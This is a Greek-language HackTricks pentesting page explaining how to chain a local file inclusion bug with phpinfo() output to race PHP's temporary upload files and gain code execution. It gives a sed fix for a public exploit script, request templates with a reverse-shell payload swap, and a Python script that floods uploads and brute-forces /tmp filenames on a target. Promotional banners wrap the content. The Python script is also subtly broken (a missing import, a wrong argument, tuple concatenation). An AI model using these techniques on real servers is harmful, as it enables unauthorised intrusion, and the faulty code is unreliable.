7.7 KiB
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Για να εκμεταλλευτείτε αυτήν την ευπάθεια χρειάζεστε: Μια ευπάθεια LFI, μια σελίδα όπου εμφανίζεται η phpinfo(), "file_uploads = on" και ο διακομιστής πρέπει να μπορεί να γράψει στον κατάλογο "/tmp".
https://www.insomniasec.com/downloads/publications/phpinfolfi.py
Οδηγός HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Πρέπει να διορθώσετε την εκμετάλλευση (αλλάξτε => σε =>). Για να το κάνετε αυτό μπορείτε να κάνετε:
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
Πρέπει να αλλάξετε επίσης το payload στην αρχή της εκμετάλλευσης (για ένα php-rev-shell για παράδειγμα), το REQ1 (πρέπει να δείχνει στη σελίδα phpinfo και πρέπει να περιλαμβάνει το padding, δηλαδή: REQ1 = """POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), και το LFIREQ (πρέπει να δείχνει στην ευπάθεια LFI, δηλαδή: LFIREQ = """GET /info?page=%s%%00 HTTP/1.1\r -- Ελέγξτε το διπλό "%" κατά την εκμετάλλευση του null char)
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
Θεωρία
Εάν επιτρέπονται οι μεταφορτώσεις στο PHP και προσπαθήσετε να μεταφορτώσετε ένα αρχείο, αυτό το αρχείο αποθηκεύεται σε έναν προσωρινό κατάλογο μέχρι ο διακομιστής να ολοκληρώσει το αίτημα, και στη συνέχεια αυτό το προσωρινό αρχείο διαγράφεται.
Στη συνέχεια, εάν έχετε βρει μια ευπάθεια LFI στον web server, μπορείτε να προσπαθήσετε να μαντέψετε το όνομα του προσωρινού αρχείου που δημιουργήθηκε και να εκμεταλλευτείτε μια RCE αποκτώντας πρόσβαση στο προσωρινό αρχείο πριν αυτό διαγραφεί.
Στα Windows, τα αρχεία αποθηκεύονται συνήθως στο C:\Windows\temp\php
Στο Linux, το όνομα του αρχείου συνήθως είναι τυχαίο και βρίσκεται στο /tmp. Καθώς το όνομα είναι τυχαίο, είναι απαραίτητο να εξαχθεί από κάπου το όνομα του προσωρινού αρχείου και να αποκτηθεί πρόσβαση πριν διαγραφεί. Αυτό μπορεί να γίνει διαβάζοντας την τιμή της μεταβλητής $_FILES μέσα στο περιεχόμενο της συνάρτησης "phpconfig()".
phpinfo()
Το PHP χρησιμοποιεί έναν buffer μεγέθους 4096B και όταν είναι γεμάτος, το στέλνει στον πελάτη. Στη συνέχεια, ο πελάτης μπορεί να στείλει πολλά μεγάλα αιτήματα (χρησιμοποιώντας μεγάλους κεφαλίδες) μεταφορτώνοντας ένα ανάποδο php shell, να περιμένει να επιστραφεί η πρώτη μέρος της phpinfo() (όπου βρίσκεται το όνομα του προσωρινού αρχείου) και να προσπαθήσει να αποκτήσει πρόσβαση στο προσωρινό αρχείο πριν ο διακομιστής php διαγράψει το αρχείο εκμεταλλευόμενος μια ευπάθεια LFI.
Σενάριο Python για να προσπαθήσει να βρει το όνομα με βίαιο τρόπο (εάν το μήκος = 6)
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.